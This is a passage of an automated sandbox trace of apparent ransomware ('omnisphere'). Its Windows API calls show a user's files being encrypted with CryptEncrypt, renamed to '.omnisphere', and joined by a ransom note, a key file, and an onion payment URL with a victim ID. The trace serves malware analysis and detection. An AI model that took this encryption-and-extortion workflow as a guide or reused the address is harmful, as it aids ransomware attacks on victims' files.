returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg.omnisphere.id" [0063.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\duv6 w1yq.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.154] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.155] CloseHandle (hObject=0x3a8) returned 1 [0063.156] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.156] CloseHandle (hObject=0x3a4) returned 1 [0063.156] SetEndOfFile (hFile=0x3a0) returned 1 [0063.157] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.160] CloseHandle (hObject=0x3a0) returned 1 [0063.160] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.160] GetProcessHeap () returned 0x1600000 [0063.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1652f68 [0063.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.160] GetProcessHeap () returned 0x1600000 [0063.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641a98 [0063.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641a98, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.160] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.160] GetProcessHeap () returned 0x1600000 [0063.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f830 [0063.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f830, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.161] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.161] GetProcessHeap () returned 0x1600000 [0063.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163be38 [0063.161] PathCombineW (in: pszDest=0x163be38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.161] GetProcessHeap () returned 0x1600000 [0063.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1655b28 [0063.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.161] WriteFile (in: hFile=0x3a0, lpBuffer=0x1655b28*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1655b28*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.161] CloseHandle (hObject=0x3a0) returned 1 [0063.161] GetProcessHeap () returned 0x1600000 [0063.161] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1652f68 | out: hHeap=0x1600000) returned 1 [0063.161] GetProcessHeap () returned 0x1600000 [0063.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc80 [0063.161] PathCombineW (in: pszDest=0x163fc80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.162] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.162] CloseHandle (hObject=0x3a0) returned 1 [0063.162] GetProcessHeap () returned 0x1600000 [0063.162] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc80 | out: hHeap=0x1600000) returned 1 [0063.162] GetProcessHeap () returned 0x1600000 [0063.162] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0063.162] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefc66d0, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0x964385d0, ftLastAccessTime.dwHighDateTime=0x1d4c683, ftLastWriteTime.dwLowDateTime=0x964385d0, ftLastWriteTime.dwHighDateTime=0x1d4c683, nFileSizeHigh=0x0, nFileSizeLow=0x8f6, dwReserved0=0x0, dwReserved1=0xed, cFileName="fXjbV28LC0IFk.png", cAlternateFileName="FXJBV2~1.PNG")) returned 1 [0063.162] GetProcessHeap () returned 0x1600000 [0063.162] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f500 [0063.162] PathCombineW (in: pszDest=0x163f500, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="fXjbV28LC0IFk.png" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png" [0063.162] StrStrW (lpFirst=".omnisphere", lpSrch=".png") returned 0x0 [0063.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fXjbV28LC0IFk.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fxjbv28lc0ifk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.162] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=2294) returned 1 [0063.163] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x3d2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.163] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.163] GetTickCount () returned 0x11501b2 [0063.164] GetTickCount () returned 0x11501b2 [0063.164] GetTickCount () returned 0x11501b2 [0063.164] GetTickCount () returned 0x11501b2 [0063.164] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bec0) returned 1 [0063.164] CryptImportKey (in: hProv=0x163bec0, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639528) returned 1 [0063.164] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.164] CryptDestroyKey (hKey=0x1639528) returned 1 [0063.164] CryptReleaseContext (hProv=0x163bec0, dwFlags=0x0) returned 1 [0063.164] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f6, lpName=0x0) returned 0x3a4 [0063.164] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f6) returned 0x3430000 [0063.165] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bdb0) returned 1 [0063.165] CryptImportKey (in: hProv=0x163bdb0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x16397e8) returned 1 [0063.165] CryptSetKeyParam (hKey=0x16397e8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.165] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.166] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.167] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.168] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 